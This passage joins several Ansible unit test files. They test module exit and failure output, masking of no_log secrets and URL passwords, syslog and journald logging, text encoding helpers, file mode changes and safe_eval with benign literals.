        # since we can't use context managers and "with" without overriding run(), call them directly to clean up
        self.stdin_swap_ctx.__exit__(None, None, None)
        self.stdout_swap_ctx.__exit__(None, None, None)

    def test_exit_json_no_args_exits(self):
        with self.assertRaises(SystemExit) as ctx:
            self.module.exit_json()
        if isinstance(ctx.exception, int):
            # Python2.6... why does sys.exit behave this way?
            self.assertEquals(ctx.exception, 0)
        else:
            self.assertEquals(ctx.exception.code, 0)
        return_val = json.loads(self.fake_stream.getvalue())
        self.assertEquals(return_val, dict(changed=False, invocation=empty_invocation))

    def test_exit_json_args_exits(self):
        with self.assertRaises(SystemExit) as ctx:
            self.module.exit_json(msg='message')
        if isinstance(ctx.exception, int):
            # Python2.6... why does sys.exit behave this way?
            self.assertEquals(ctx.exception, 0)
        else:
            self.assertEquals(ctx.exception.code, 0)
        return_val = json.loads(self.fake_stream.getvalue())
        self.assertEquals(return_val, dict(msg="message", changed=False, invocation=empty_invocation))

    def test_fail_json_exits(self):
        with self.assertRaises(SystemExit) as ctx:
            self.module.fail_json(msg='message')
        if isinstance(ctx.exception, int):
            # Python2.6... why does sys.exit behave this way?
            self.assertEquals(ctx.exception, 1)
        else:
            self.assertEquals(ctx.exception.code, 1)
        return_val = json.loads(self.fake_stream.getvalue())
        self.assertEquals(return_val, dict(msg="message", failed=True, invocation=empty_invocation))

    def test_exit_json_proper_changed(self):
        with self.assertRaises(SystemExit) as ctx:
            self.module.exit_json(changed=True, msg='success')
        return_val = json.loads(self.fake_stream.getvalue())
        self.assertEquals(return_val, dict(changed=True, msg='success', invocation=empty_invocation))

@unittest.skipIf(sys.version_info[0] >= 3, "Python 3 is not supported on targets (yet)")
class TestAnsibleModuleExitValuesRemoved(unittest.TestCase):
    OMIT = 'VALUE_SPECIFIED_IN_NO_LOG_PARAMETER'
    dataset = (
            (dict(username='person', password='$ecret k3y'),
                dict(one=1, pwd='$ecret k3y', url='https://username:password12345@foo.com/login/',
                    not_secret='following the leader', msg='here'),
                dict(one=1, pwd=OMIT, url='https://username:password12345@foo.com/login/',
                    not_secret='following the leader', changed=False, msg='here',
                    invocation=dict(module_args=dict(password=OMIT, token=None, username='person'))),
                ),
            (dict(username='person', password='password12345'),
                dict(one=1, pwd='$ecret k3y', url='https://username:password12345@foo.com/login/',
                    not_secret='following the leader', msg='here'),
                dict(one=1, pwd='$ecret k3y', url='https://username:********@foo.com/login/',
                    not_secret='following the leader', changed=False, msg='here',
                    invocation=dict(module_args=dict(password=OMIT, token=None, username='person'))),
                ),
            (dict(username='person', password='$ecret k3y'),
                dict(one=1, pwd='$ecret k3y', url='https://username:$ecret k3y@foo.com/login/',
                    not_secret='following the leader', msg='here'),
                dict(one=1, pwd=OMIT, url='https://username:********@foo.com/login/',
                    not_secret='following the leader', changed=False, msg='here',
                    invocation=dict(module_args=dict(password=OMIT, token=None, username='person'))),
                ),
            )

    def test_exit_json_removes_values(self):
        self.maxDiff = None
        for args, return_val, expected in self.dataset:
            params = dict(ANSIBLE_MODULE_ARGS=args)
            params = json.dumps(params)

            with swap_stdin_and_argv(stdin_data=params):
                with swap_stdout():
                    basic._ANSIBLE_ARGS = None
                    module = basic.AnsibleModule(
                        argument_spec = dict(
                            username=dict(),
                            password=dict(no_log=True),
                            token=dict(no_log=True),
                            ),
                        )
                    with self.assertRaises(SystemExit) as ctx:
                        self.assertEquals(module.exit_json(**return_val), expected)
                    self.assertEquals(json.loads(sys.stdout.getvalue()), expected)

    def test_fail_json_removes_values(self):
        self.maxDiff = None
        for args, return_val, expected in self.dataset:
            expected = copy.deepcopy(expected)
            del expected['changed']
            expected['failed'] = True
            params = dict(ANSIBLE_MODULE_ARGS=args)
            params = json.dumps(params)
            with swap_stdin_and_argv(stdin_data=params):
                with swap_stdout():
                    basic._ANSIBLE_ARGS = None
                    module = basic.AnsibleModule(
                        argument_spec = dict(
                            username=dict(),
                            password=dict(no_log=True),
                            token=dict(no_log=True),
                            ),
                        )
                    with self.assertRaises(SystemExit) as ctx:
                        self.assertEquals(module.fail_json(**return_val), expected)
                    self.assertEquals(json.loads(sys.stdout.getvalue()), expected)












# -*- coding: utf-8 -*-
# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division)
__metaclass__ = type

import sys
import json
import syslog

from ansible.compat.tests import unittest
from ansible.compat.tests.mock import patch, MagicMock
from units.mock.procenv import swap_stdin_and_argv

import ansible.module_utils.basic


try:
    # Python 3.4+
    from importlib import reload
except ImportError:
    # Python 2 has reload as a builtin

    # Ignoring python3.0-3.3 (those have imp.reload if we decide we care)
    pass


class TestAnsibleModuleSysLogSmokeTest(unittest.TestCase):
    def setUp(self):
        args = json.dumps(dict(ANSIBLE_MODULE_ARGS={}))

        # unittest doesn't have a clean place to use a context manager, so we have to enter/exit manually
        self.stdin_swap = swap_stdin_and_argv(stdin_data=args)
        self.stdin_swap.__enter__()

        ansible.module_utils.basic._ANSIBLE_ARGS = None
        self.am = ansible.module_utils.basic.AnsibleModule(
            argument_spec = dict(),
        )
        self.am._name = 'unittest'

        self.has_journal = ansible.module_utils.basic.has_journal
        if self.has_journal:
            # Systems with journal can still test syslog
            ansible.module_utils.basic.has_journal = False

    def tearDown(self):
        # unittest doesn't have a clean place to use a context manager, so we have to enter/exit manually
        self.stdin_swap.__exit__(None, None, None)
        ansible.module_utils.basic.has_journal = self.has_journal

    def test_smoketest_syslog(self):
        # These talk to the live daemons on the system.  Need to do this to
        # show that what we send doesn't cause an issue once it gets to the
        # daemon.  These are just smoketests to test that we don't fail.

        self.am.log(u'Text string')
        self.am.log(u'Toshio くらとみ non-ascii test')

        self.am.log(b'Byte string')
        self.am.log(u'Toshio くらとみ non-ascii test'.encode('utf-8'))
        self.am.log(b'non-utf8 :\xff: test')


class TestAnsibleModuleJournaldSmokeTest(unittest.TestCase):

    def setUp(self):
        args = json.dumps(dict(ANSIBLE_MODULE_ARGS={}))

        # unittest doesn't have a clean place to use a context manager, so we have to enter/exit manually
        self.stdin_swap = swap_stdin_and_argv(stdin_data=args)
        self.stdin_swap.__enter__()

        ansible.module_utils.basic._ANSIBLE_ARGS = None
        self.am = ansible.module_utils.basic.AnsibleModule(
            argument_spec = dict(),
        )
        self.am._name = 'unittest'

    def tearDown(self):
        # unittest doesn't have a clean place to use a context manager, so we have to enter/exit manually
        self.stdin_swap.__exit__(None, None, None)

    @unittest.skipUnless(ansible.module_utils.basic.has_journal, 'python systemd bindings not installed')
    def test_smoketest_journal(self):
        # These talk to the live daemons on the system.  Need to do this to
        # show that what we send doesn't cause an issue once it gets to the
        # daemon.  These are just smoketests to test that we don't fail.

        self.am.log(u'Text string')
        self.am.log(u'Toshio くらとみ non-ascii test')

        self.am.log(b'Byte string')
        self.am.log(u'Toshio くらとみ non-ascii test'.encode('utf-8'))
        self.am.log(b'non-utf8 :\xff: test')


class TestAnsibleModuleLogSyslog(unittest.TestCase):
    """Test the AnsibleModule Log Method"""

    py2_output_data = {
            u'Text string': b'Text string',
            u'Toshio くらとみ non-ascii test': u'Toshio くらとみ non-ascii test'.encode('utf-8'),
            b'Byte string': b'Byte string',
            u'Toshio くらとみ non-ascii test'.encode('utf-8'): u'Toshio くらとみ non-ascii test'.encode('utf-8'),
            b'non-utf8 :\xff: test': b'non-utf8 :\xff: test'.decode('utf-8', 'replace').encode('utf-8'),
            }

    py3_output_data = {
            u'Text string': u'Text string',
            u'Toshio くらとみ non-ascii test': u'Toshio くらとみ non-ascii test',
            b'Byte string': u'Byte string',
            u'Toshio くらとみ non-ascii test'.encode('utf-8'): u'Toshio くらとみ non-ascii test',
            b'non-utf8 :\xff: test': b'non-utf8 :\xff: test'.decode('utf-8', 'replace')
            }

    def setUp(self):
        args = json.dumps(dict(ANSIBLE_MODULE_ARGS={}))
        # unittest doesn't have a clean place to use a context manager, so we have to enter/exit manually
        self.stdin_swap = swap_stdin_and_argv(stdin_data=args)
        self.stdin_swap.__enter__()

        ansible.module_utils.basic._ANSIBLE_ARGS = None
        self.am = ansible.module_utils.basic.AnsibleModule(
            argument_spec = dict(),
        )
        self.am._name = 'unittest'

        self.has_journal = ansible.module_utils.basic.has_journal
        if self.has_journal:
            # Systems with journal can still test syslog
            ansible.module_utils.basic.has_journal = False

    def tearDown(self):
        # teardown/reset
        ansible.module_utils.basic.has_journal = self.has_journal

        # unittest doesn't have a clean place to use a context manager, so we have to enter/exit manually
        self.stdin_swap.__exit__(None, None, None)

    @patch('syslog.syslog', autospec=True)
    def test_no_log(self, mock_func):
        no_log = self.am.no_log

        self.am.no_log = True
        self.am.log('unittest no_log')
        self.assertFalse(mock_func.called)

        self.am.no_log = False
        self.am.log('unittest no_log')
        mock_func.assert_called_once_with(syslog.LOG_INFO, 'unittest no_log')

        self.am.no_log = no_log

    def test_output_matches(self):
        if sys.version_info >= (3,):
            output_data = self.py3_output_data
        else:
            output_data = self.py2_output_data

        for msg, param in output_data.items():
            with patch('syslog.syslog', autospec=True) as mock_func:
                self.am.log(msg)
                mock_func.assert_called_once_with(syslog.LOG_INFO, param)


class TestAnsibleModuleLogJournal(unittest.TestCase):
    """Test the AnsibleModule Log Method"""

    output_data = {
            u'Text string': u'Text string',
            u'Toshio くらとみ non-ascii test': u'Toshio くらとみ non-ascii test',
            b'Byte string': u'Byte string',
            u'Toshio くらとみ non-ascii test'.encode('utf-8'): u'Toshio くらとみ non-ascii test',
            b'non-utf8 :\xff: test': b'non-utf8 :\xff: test'.decode('utf-8', 'replace')
            }

    # overriding run lets us use context managers for setup/teardown-esque behavior
    def setUp(self):
        args = json.dumps(dict(ANSIBLE_MODULE_ARGS={}))
        # unittest doesn't have a clean place to use a context manager, so we have to enter/exit manually
        self.stdin_swap = swap_stdin_and_argv(stdin_data=args)
        self.stdin_swap.__enter__()

        ansible.module_utils.basic._ANSIBLE_ARGS = None
        self.am = ansible.module_utils.basic.AnsibleModule(
            argument_spec = dict(),
        )
        self.am._name = 'unittest'

        self.has_journal = ansible.module_utils.basic.has_journal
        ansible.module_utils.basic.has_journal = True

        self.module_patcher = None

        # In case systemd-python is not installed
        if not self.has_journal:
            self.module_patcher = patch.dict('sys.modules', {'systemd': MagicMock(), 'systemd.journal': MagicMock()})
            self.module_patcher.start()
            try:
                reload(ansible.module_utils.basic)
            except NameError:
                self._fake_out_reload(ansible.module_utils.basic)

    def tearDown(self):
        # unittest doesn't have a clean place to use a context manager, so we have to enter/exit manually
        self.stdin_swap.__exit__(None, None, None)

        # teardown/reset
        ansible.module_utils.basic.has_journal = self.has_journal

        if self.module_patcher:
            self.module_patcher.stop()
            reload(ansible.module_utils.basic)

    @patch('systemd.journal.send')
    def test_no_log(self, mock_func):
        no_log = self.am.no_log

        self.am.no_log = True
        self.am.log('unittest no_log')
        self.assertFalse(mock_func.called)

        self.am.no_log = False
        self.am.log('unittest no_log')
        self.assertEqual(mock_func.called, 1)

        # Message
        # call_args is a 2-tuple of (arg_list, kwarg_dict)
        self.assertTrue(mock_func.call_args[0][0].endswith('unittest no_log'), msg='Message was not sent to log')
        # log adds this journal field
        self.assertIn('MODULE', mock_func.call_args[1])
        self.assertIn('basic.py', mock_func.call_args[1]['MODULE'])

        self.am.no_log = no_log

    def test_output_matches(self):
        for msg, param in self.output_data.items():
            with patch('systemd.journal.send', autospec=True) as mock_func:
                self.am.log(msg)
                self.assertEqual(mock_func.call_count, 1, msg='journal.send not called exactly once')
                self.assertTrue(mock_func.call_args[0][0].endswith(param))

    @patch('systemd.journal.send')
    def test_log_args(self, mock_func):
        self.am.log('unittest log_args', log_args=dict(TEST='log unittest'))
        self.assertEqual(mock_func.called, 1)
        self.assertTrue(mock_func.call_args[0][0].endswith('unittest log_args'), msg='Message was not sent to log')

        # log adds this journal field
        self.assertIn('MODULE', mock_func.call_args[1])
        self.assertIn('basic.py', mock_func.call_args[1]['MODULE'])

        # We added this journal field
        self.assertIn('TEST', mock_func.call_args[1])
        self.assertIn('log unittest', mock_func.call_args[1]['TEST'])







# -*- coding: utf-8 -*-
# (c) 2015, Toshio Kuratomi <tkuratomi@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division)
__metaclass__ = type

import json
import sys
import syslog

from ansible.compat.tests import unittest
from ansible.compat.tests.mock import patch, MagicMock

from ansible.module_utils import basic
from ansible.module_utils.basic import heuristic_log_sanitize
from ansible.module_utils.basic import return_values, remove_values


class TestReturnValues(unittest.TestCase):
    dataset = (
            ('string', frozenset(['string'])),
            ('', frozenset()),
            (1, frozenset(['1'])),
            (1.0, frozenset(['1.0'])),
            (False, frozenset()),
            (['1', '2', '3'], frozenset(['1', '2', '3'])),
            (('1', '2', '3'), frozenset(['1', '2', '3'])),
            ({'one': 1, 'two': 'dos'}, frozenset(['1', 'dos'])),
            ({'one': 1, 'two': 'dos',
                'three': ['amigos', 'musketeers', None,
                    {'ping': 'pong', 'base': ('balls', 'raquets')}]},
                frozenset(['1', 'dos', 'amigos', 'musketeers', 'pong', 'balls', 'raquets'])),
            (u'Toshio くらとみ', frozenset(['Toshio くらとみ'])),
            ('Toshio くらとみ', frozenset(['Toshio くらとみ'])),
        )

    def test_return_values(self):
        for data, expected in self.dataset:
            self.assertEquals(frozenset(return_values(data)), expected)

    def test_unknown_type(self):
        self.assertRaises(TypeError, frozenset, return_values(object()))


class TestRemoveValues(unittest.TestCase):
    OMIT = 'VALUE_SPECIFIED_IN_NO_LOG_PARAMETER'
    dataset_no_remove = (
            ('string', frozenset(['nope'])),
            (1234, frozenset(['4321'])),
            (False, frozenset(['4321'])),
            (1.0, frozenset(['4321'])),
            (['string', 'strang', 'strung'], frozenset(['nope'])),
            ({'one': 1, 'two': 'dos', 'secret': 'key'}, frozenset(['nope'])),
            ({'one': 1, 'two': 'dos',
                'three': ['amigos', 'musketeers', None,
                    {'ping': 'pong', 'base': ['balls', 'raquets']}]},
                frozenset(['nope'])),
            ('Toshio くら', frozenset(['とみ'])),
            (u'Toshio くら', frozenset(['とみ'])),
            )
    dataset_remove = (
            ('string', frozenset(['string']), OMIT),
            (1234, frozenset(['1234']), OMIT),
            (1234, frozenset(['23']), OMIT),
            (1.0, frozenset(['1.0']), OMIT),
            (['string', 'strang', 'strung'], frozenset(['strang']), ['string', OMIT, 'strung']),
            (['string', 'strang', 'strung'], frozenset(['strang', 'string', 'strung']), [OMIT, OMIT, OMIT]),
            (('string', 'strang', 'strung'), frozenset(['string', 'strung']), [OMIT, 'strang', OMIT]),
            ((1234567890, 345678, 987654321), frozenset(['1234567890']), [OMIT, 345678, 987654321]),
            ((1234567890, 345678, 987654321), frozenset(['345678']), [OMIT, OMIT, 987654321]),
            ({'one': 1, 'two': 'dos', 'secret': 'key'}, frozenset(['key']),
                {'one': 1, 'two': 'dos', 'secret': OMIT}),
            ({'one': 1, 'two': 'dos', 'secret': 'key'}, frozenset(['key', 'dos', '1']),
                {'one': OMIT, 'two': OMIT, 'secret': OMIT}),
            ({'one': 1, 'two': 'dos', 'secret': 'key'}, frozenset(['key', 'dos', '1']),
                {'one': OMIT, 'two': OMIT, 'secret': OMIT}),
            ({'one': 1, 'two': 'dos', 'three': ['amigos', 'musketeers', None,
                {'ping': 'pong', 'base': ['balls', 'raquets']}]},
                frozenset(['balls', 'base', 'pong', 'amigos']),
                {'one': 1, 'two': 'dos', 'three': [OMIT, 'musketeers',
                    None, {'ping': OMIT, 'base': [OMIT, 'raquets']}]}),
            ('This sentence has an enigma wrapped in a mystery inside of a secret. - mr mystery',
                frozenset(['enigma', 'mystery', 'secret']),
                'This sentence has an ******** wrapped in a ******** inside of a ********. - mr ********'),
            ('Toshio くらとみ', frozenset(['くらとみ']), 'Toshio ********'),
            (u'Toshio くらとみ', frozenset(['くらとみ']), u'Toshio ********'),
            )

    def test_no_removal(self):
        for value, no_log_strings in self.dataset_no_remove:
            self.assertEquals(remove_values(value, no_log_strings), value)

    def test_strings_to_remove(self):
        for value, no_log_strings, expected in self.dataset_remove:
            self.assertEquals(remove_values(value, no_log_strings), expected)

    def test_unknown_type(self):
        self.assertRaises(TypeError, remove_values, object(), frozenset())








# -*- coding: utf-8 -*-
# (c) 2016 Toshio Kuratomi <tkuratomi@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division)
__metaclass__ = type

from ansible.compat.six import PY3
from ansible.compat.tests import unittest
from units.mock.generator import add_method


# Internal API while this is still being developed.  Eventually move to
# module_utils.text
from ansible.module_utils._text import to_text, to_bytes, to_native

# Format: byte representation, text representation, encoding of byte representation
VALID_STRINGS = (
        (b'abcde', u'abcde', 'ascii'),
        (b'caf\xc3\xa9', u'caf\xe9', 'utf-8'),
        (b'caf\xe9', u'caf\xe9', 'latin-1'),
        # u'くらとみ'
        (b'\xe3\x81\x8f\xe3\x82\x89\xe3\x81\xa8\xe3\x81\xbf', u'\u304f\u3089\u3068\u307f', 'utf-8'),
        (b'\x82\xad\x82\xe7\x82\xc6\x82\xdd', u'\u304f\u3089\u3068\u307f', 'shift-jis'),
        )

def _check_to_text(self, in_string, encoding, expected):
    """test happy path of decoding to text"""
    self.assertEqual(to_text(in_string, encoding), expected)

def _check_to_bytes(self, in_string, encoding, expected):
    """test happy path of encoding to bytes"""
    self.assertEqual(to_bytes(in_string, encoding), expected)

def _check_to_native(self, in_string, encoding, py2_expected, py3_expected):
    """test happy path of encoding to native strings"""
    if PY3:
        self.assertEqual(to_native(in_string, encoding), py3_expected)
    else:
        self.assertEqual(to_native(in_string, encoding), py2_expected)


@add_method(_check_to_text, [(i[0], i[2], i[1]) for i in VALID_STRINGS])
@add_method(_check_to_text, [(i[1], i[2], i[1]) for i in VALID_STRINGS])
@add_method(_check_to_bytes, [(i[0], i[2], i[0]) for i in VALID_STRINGS])
@add_method(_check_to_bytes, [(i[1], i[2], i[0]) for i in VALID_STRINGS])
@add_method(_check_to_native, [(i[0], i[2], i[0], i[1]) for i in VALID_STRINGS])
@add_method(_check_to_native, [(i[1], i[2], i[0], i[1]) for i in VALID_STRINGS])
class TestModuleUtilsText(unittest.TestCase):
    pass






# -*- coding: utf-8 -*-
# (c) 2015, Toshio Kuratomi <tkuratomi@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division)
__metaclass__ = type

import sys
import syslog

from ansible.compat.tests import unittest
from ansible.compat.tests.mock import patch, MagicMock

from ansible.module_utils.basic import heuristic_log_sanitize

class TestHeuristicLogSanitize(unittest.TestCase):
    def setUp(self):
        self.URL_SECRET = 'http://username:pas:word@foo.com/data'
        self.SSH_SECRET = 'username:pas:word@foo.com/data'
        self.clean_data = repr(self._gen_data(3, True, True, 'no_secret_here'))
        self.url_data = repr(self._gen_data(3, True, True, self.URL_SECRET))
        self.ssh_data = repr(self._gen_data(3, True, True, self.SSH_SECRET))

    def _gen_data(self, records, per_rec, top_level, secret_text):
        hostvars = {'hostvars': {}}
        for i in range(1, records, 1):
            host_facts = {'host%s' % i:
                            {'pstack':
                                {'running': '875.1',
                                 'symlinked': '880.0',
                                 'tars': [],
                                 'versions': ['885.0']},
                         }}
            if per_rec:
                host_facts['host%s' % i]['secret'] = secret_text
            hostvars['hostvars'].update(host_facts)
        if top_level:
            hostvars['secret'] = secret_text
        return hostvars

    def test_did_not_hide_too_much(self):
        self.assertEquals(heuristic_log_sanitize(self.clean_data), self.clean_data)

    def test_hides_url_secrets(self):
        url_output = heuristic_log_sanitize(self.url_data)
        # Basic functionality: Successfully hid the password
        self.assertNotIn('pas:word', url_output)

        # Slightly more advanced, we hid all of the password despite the ":"
        self.assertNotIn('pas', url_output)

        # In this implementation we replace the password with 8 "*" which is
        # also the length of our password.  The url fields should be able to
        # accurately detect where the password ends so the length should be
        # the same:
        self.assertEqual(len(url_output), len(self.url_data))

    def test_hides_ssh_secrets(self):
        ssh_output = heuristic_log_sanitize(self.ssh_data)
        self.assertNotIn('pas:word', ssh_output)

        # Slightly more advanced, we hid all of the password despite the ":"
        self.assertNotIn('pas', ssh_output)

        # ssh checking is harder as the heuristic is overzealous in many
        # cases.  Since the input will have at least one ":" present before
        # the password we can tell some things about the beginning and end of
        # the data, though:
        self.assertTrue(ssh_output.startswith("{'"))
        self.assertTrue(ssh_output.endswith("}"))
        self.assertIn(":********@foo.com/data'", ssh_output)

    def test_hides_parameter_secrets(self):
        output = heuristic_log_sanitize('token="secret", user="person", token_entry="test=secret"', frozenset(['secret']))
        self.assertNotIn('secret', output)






# -*- coding: utf-8 -*-
# (c) 2016, Toshio Kuratomi <tkuratomi@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os

try:
    import builtins
except ImportError:
    import __builtin__ as builtins

from ansible.compat.tests import unittest
from ansible.compat.tests.mock import patch, MagicMock
from ansible.module_utils import known_hosts

from units.mock.procenv import ModuleTestCase
from units.mock.generator import add_method

class TestSetModeIfDifferentBase(ModuleTestCase):

    def setUp(self):
        self.mock_stat1 = MagicMock()
        self.mock_stat1.st_mode = 0o444
        self.mock_stat2 = MagicMock()
        self.mock_stat2.st_mode = 0o660

        super(TestSetModeIfDifferentBase, self).setUp()
        from ansible.module_utils import basic
        self.old_ANSIBLE_ARGS = basic._ANSIBLE_ARGS
        basic._ANSIBLE_ARGS = None

        self.am = basic.AnsibleModule(
            argument_spec = dict(),
        )

    def tearDown(self):
        super(TestSetModeIfDifferentBase, self).tearDown()
        from ansible.module_utils import basic
        basic._ANSIBLE_ARGS = self.old_ANSIBLE_ARGS


def _check_no_mode_given_returns_previous_changes(self, previous_changes=True):
    with patch('os.lstat', side_effect=[self.mock_stat1]):
        self.assertEqual(self.am.set_mode_if_different('/path/to/file', None, previous_changes), previous_changes)

def _check_mode_changed_to_0660(self, mode):
    # Note: This is for checking that all the different ways of specifying
    # 0660 mode work.  It cannot be used to check that setting a mode that is
    # not equivalent to 0660 works.
    with patch('os.lstat', side_effect=[self.mock_stat1, self.mock_stat2, self.mock_stat2]) as m_lstat:
        with patch('os.lchmod', return_value=None, create=True) as m_lchmod:
            self.assertEqual(self.am.set_mode_if_different('/path/to/file', mode, False), True)
            m_lchmod.assert_called_with('/path/to/file', 0o660)

def _check_mode_unchanged_when_already_0660(self, mode):
    # Note: This is for checking that all the different ways of specifying
    # 0660 mode work.  It cannot be used to check that setting a mode that is
    # not equivalent to 0660 works.
    with patch('os.lstat', side_effect=[self.mock_stat2, self.mock_stat2, self.mock_stat2]) as m_lstat:
        self.assertEqual(self.am.set_mode_if_different('/path/to/file', mode, False), False)


SYNONYMS_0660 = (
        [[0o660]],
        [['0o660']],
        [['660']],
        )

@add_method(_check_no_mode_given_returns_previous_changes,
        [dict(previous_changes=True)],
        [dict(previous_changes=False)],
        )
@add_method(_check_mode_changed_to_0660,
        *SYNONYMS_0660
        )
@add_method(_check_mode_unchanged_when_already_0660,
        *SYNONYMS_0660
        )
class TestSetModeIfDifferent(TestSetModeIfDifferentBase):
    def test_module_utils_basic_ansible_module_set_mode_if_different(self):
        with patch('os.lstat') as m:
            with patch('os.lchmod', return_value=None, create=True) as m_os:
                m.side_effect = [self.mock_stat1, self.mock_stat2, self.mock_stat2]
                self.am._symbolic_mode_to_octal = MagicMock(side_effect=Exception)
                self.assertRaises(SystemExit, self.am.set_mode_if_different, '/path/to/file', 'o+w,g+w,a-r', False)

        original_hasattr = hasattr
        def _hasattr(obj, name):
            if obj == os and name == 'lchmod':
                return False
            return original_hasattr(obj, name)

        # FIXME: this isn't working yet
        with patch('os.lstat', side_effect=[self.mock_stat1, self.mock_stat2]):
            with patch.object(builtins, 'hasattr', side_effect=_hasattr):
                with patch('os.path.islink', return_value=False):
                    with patch('os.chmod', return_value=None) as m_chmod:
                        self.assertEqual(self.am.set_mode_if_different('/path/to/file/no_lchmod', 0o660, False), True)
        with patch('os.lstat', side_effect=[self.mock_stat1, self.mock_stat2]):
            with patch.object(builtins, 'hasattr', side_effect=_hasattr):
                with patch('os.path.islink', return_value=True):
                    with patch('os.chmod', return_value=None) as m_chmod:
                        with patch('os.stat', return_value=self.mock_stat2):
                            self.assertEqual(self.am.set_mode_if_different('/path/to/file', 0o660, False), True)


def _check_knows_to_change_to_0660_in_check_mode(self, mode):
    # Note: This is for checking that all the different ways of specifying
    # 0660 mode work.  It cannot be used to check that setting a mode that is
    # not equivalent to 0660 works.
    with patch('os.lstat', side_effect=[self.mock_stat1, self.mock_stat2, self.mock_stat2]) as m_lstat:
        self.assertEqual(self.am.set_mode_if_different('/path/to/file', mode, False), True)

@add_method(_check_no_mode_given_returns_previous_changes,
        [dict(previous_changes=True)],
        [dict(previous_changes=False)],
        )
@add_method(_check_knows_to_change_to_0660_in_check_mode,
        *SYNONYMS_0660
        )
@add_method(_check_mode_unchanged_when_already_0660,
        *SYNONYMS_0660
        )
class TestSetModeIfDifferentWithCheckMode(TestSetModeIfDifferentBase):
    def setUp(self):
        super(TestSetModeIfDifferentWithCheckMode, self).setUp()
        self.am.check_mode = True

    def tearDown(self):
        super(TestSetModeIfDifferentWithCheckMode, self).tearDown()
        self.am.check_mode = False






# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import sys
from collections import defaultdict

from ansible.compat.tests import unittest
from ansible.compat.tests.mock import patch, MagicMock

from ansible.template.safe_eval import safe_eval

class TestSafeEval(unittest.TestCase):

    def setUp(self):
        pass

    def tearDown(self):
        pass

    def test_safe_eval_usage(self):
        # test safe eval calls with different possible types for the
        # locals dictionary, to ensure we don't run into problems like
        # ansible/ansible/issues/12206 again
        for locals_vars in (dict(), defaultdict(dict)):
            self.assertEqual(safe_eval('True', locals=locals_vars), True)
            self.assertEqual(safe_eval('False', locals=locals_vars), False)
            self.assertEqual(safe_eval('0', locals=locals_vars), 0)
            self.assertEqual(safe_eval('[]', locals=locals_vars), [])
            self.assertEqual(safe_eval('{}', locals=locals_vars), {})

    @unittest.skipUnless(sys.version_info[:2] >= (2, 7), "Python 2.6 has no set literals")
    def test_set_literals(self):
        self.assertEqual(safe_eval('{0}'), set([0]))






# (c) 2015 Toshio Kuratomi <tkuratomi@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
